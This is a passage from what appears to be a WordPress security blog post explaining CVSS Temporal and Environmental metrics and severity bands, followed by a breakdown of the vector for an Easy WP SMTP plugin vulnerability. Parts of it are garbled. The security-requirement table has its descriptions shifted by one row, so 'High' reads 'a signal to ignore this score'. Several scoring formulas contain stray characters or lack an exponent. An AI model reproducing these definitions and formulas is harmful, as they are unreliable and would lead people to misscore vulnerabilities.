Unavailable (U)	No solution is available.
Workaround (W)	An unofficial, non-vendor solution is available. For example, a user or some other third-party created a patch or workaround to mitigate the vulnerability.
Temporary Fix (T)	An official but temporary fix available. For example, the software developer has issued a temporary hotfix or provided a workaround to mitigate the vulnerability.
Official Fix (O)	The software developer has issued an official patch for the vulnerability.

2.3. Report Confidence (RC)

The Report Confidence metric measures the level of confidence that a vulnerability exists and the credibility of the technical details.

The more a vulnerability is validated by the vendor or other reputable sources, the higher the score.

Report Confidence Value	Description
Not Defined (X)	A Report Confidence Value of Not Defined means there is not enough information to assign one of the other confidence values. A value of Not Defined has no impact on the overall Report Confidence Score and has the same effect on scoring as Unavailable.
Confirmed (C)	A detailed report exists with a poof of concept of how to exploit the vulnerability, or the software developer has confirmed the vulnerability’s presence.
Reasonable (R)	A report exists with significant details, but researchers don’t have full confidence in the root cause or are not able to fully confirm every interaction that can lead to exploitation. However, the bug is reproducible and at least one proof of concept exists.
Unknown (U)	There are reports of impacts that indicate a vulnerability is present, but the cause of the vulnerability is unknown.

Temporal CVSS Score Calculation

The Temporal score is defined as,

Roundup(BaseScore v× ExploitCode Maturity × RemediationLevel × ReportConfidence)

3. Environmental Score Metrics

The Environmental metrics allow analysts to customize the CVSS scored based on the importance of affected IT assets.

The Environmental Exploitability and Impact metrics are a modified equivalent of the Base metrics and are assigned values based on the organizational infrastructure’s component placement. See the above Base Metrics sections to view the values and descriptions of the Exploitability and Impact metrics.

The Environmental metrics contain an extra group, Impact Subscore Modifiers.

3.1. Impact Subscore Modifiers Metrics

The Impact Subscore Modifiers metrics assess the specific security requirements for Confidentiality (CR), Integrity (IR), and Availability (AR), allowing the environmental score to be fine-tuned according to the users’ environment.

Impact Subscore Value	Description
Not Defined (CR:X)	Loss of (confidentiality/integrity/availability) is likely to have only a limited effect on the organization.
Low (CR:L)	Loss of (confidentiality/integrity/availability) is likely to have a serious effect on the organization.
Medium (CR:M)	Loss of (confidentiality/integrity/availability) is likely to have a catastrophic effect on the organization.
High (CR:H)	This is a signal to ignore this score.

Environmental CVSS Score Calculation

The environmental score is defined as,

If (Modified Impact Sub score <= 0)     0 else,

If Modified Scope is Unchanged   Round up(Round up (Minimum [ (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence)
    
If Modified Scope is Changed    Round up(Round up (Minimum [1.08 × (M.Impact + M.Exploitability) ,10]) × Exploit Code Maturity × Remediation Level × Report Confidence)

And the modified Impact sub score is defined as,

If Modified Scope is Unchanged 6.42 × [ISCModified]
    
If Modified Scope is Changed 7.52 × [ISCModified - 0.029]-3.25× [ISCModified × 0.9731 - 0.02] 13

Where,

ISCModified = Minimum [[1 - (1 - M.IConf × CR) × (1 - M.IInteg × IR) × (1 - M.IAvail × AR)], 0.915]

The Modified Exploitability sub score is,

8.22 × M.AttackVector × M.AttackComplexity × M.PrivilegeRequired × M.UserInteraction

4 Where “Round up” is defined as the smallest number, specified to one decimal place, that is equal to or higher than its input. For example, Round up (4.02) is 4.1; and Round up (4.00) is 4.0.

Overall CVSS Score & Severity

The Overall Common Vulnerability Scoring System or CVSS score is a representation of the Base, Temporal, and Environmental scores.

The Overall CVSS score can be used to give you an idea of how severe or serious a vulnerability is.

CVSS Score	Severity
0.0	None
0.1 – 3.9	Low
4.0 – 6.9	Medium
7.0 – 8.9	High
9.0 – 10.0	Critical

Real World CVSS Severity Rating Example

In our December 2020 Vulnerability Roundup we reported on a vulnerability in the Easy WP SMTP plugin. The zero-day (we will cover zero-day vulnerabilities in the next section) vulnerability allowed an attacker to take control of an Administrator account and was being exploited in the wild.

Taking a look at the National Vulnerability Database entry, we can find the WP SMTP vulnerability’s severity rating.

Let’s breakdown a couple of things from the WP SMTP NVDB screenshot above.

Base Score: The base score is 7.5, which tells us that the severity rating for the vulnerability is high.

Vector: The vector tells us the score is based on the CVSS 3.1 vulnerability equations and the metrics used to calculate the score.

Here is the metrics portion of the vector.

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Now let’s use the Base Metric values and descriptions from earlier in this post to understand the eight metric values of the vector.

AV:N – This means that the Attack Vector (AV) of the vulnerability is the Network (N). In other words, an attacker only needs network access to exploit the vulnerability.
AC:L – The Attack Complexity (AC) of the vulnerability is Low (L). In other words, any script kiddie can exploit the vulnerability.
PR:N – The Privileges Required (PR) needed to exploit the vulnerability is None (N). So, the vulnerability doesn’t require an authenticated user to exploit. (We will cover the difference between Authenticated & Unauthenticated vulnerabilities later in this post.)
UI:N – The User Interaction (UI) required to exploit this vulnerability is None (N). So, the attacker has the means to exploit the vulnerability by himself.
S:U – This means that the Scope (S) of the vulnerability is Unchanged (U). In the case of this vulnerability, the vulnerable component and the impacted component are the same.
C:H – The Confidentiality Impact (C) of the vulnerability is High (H). When this vulnerability is exploited, it results in a total loss of confidentiality.
I:N – The Integrity Impact (I) of this vulnerability is None (N). When the vulnerability is exploited, there is no loss of integrity or trustworthiness of the vulnerable information.
A:N – This means that the Availability Impact (A) is None (N). When the vulnerability is exploited, there will be no impact on the availability of your website.

The CVSS score can help us determine the severity and scope of any given vulnerability. In the next couple of sections, we will cover some important vulnerability terms that are often included in vulnerability disclosures.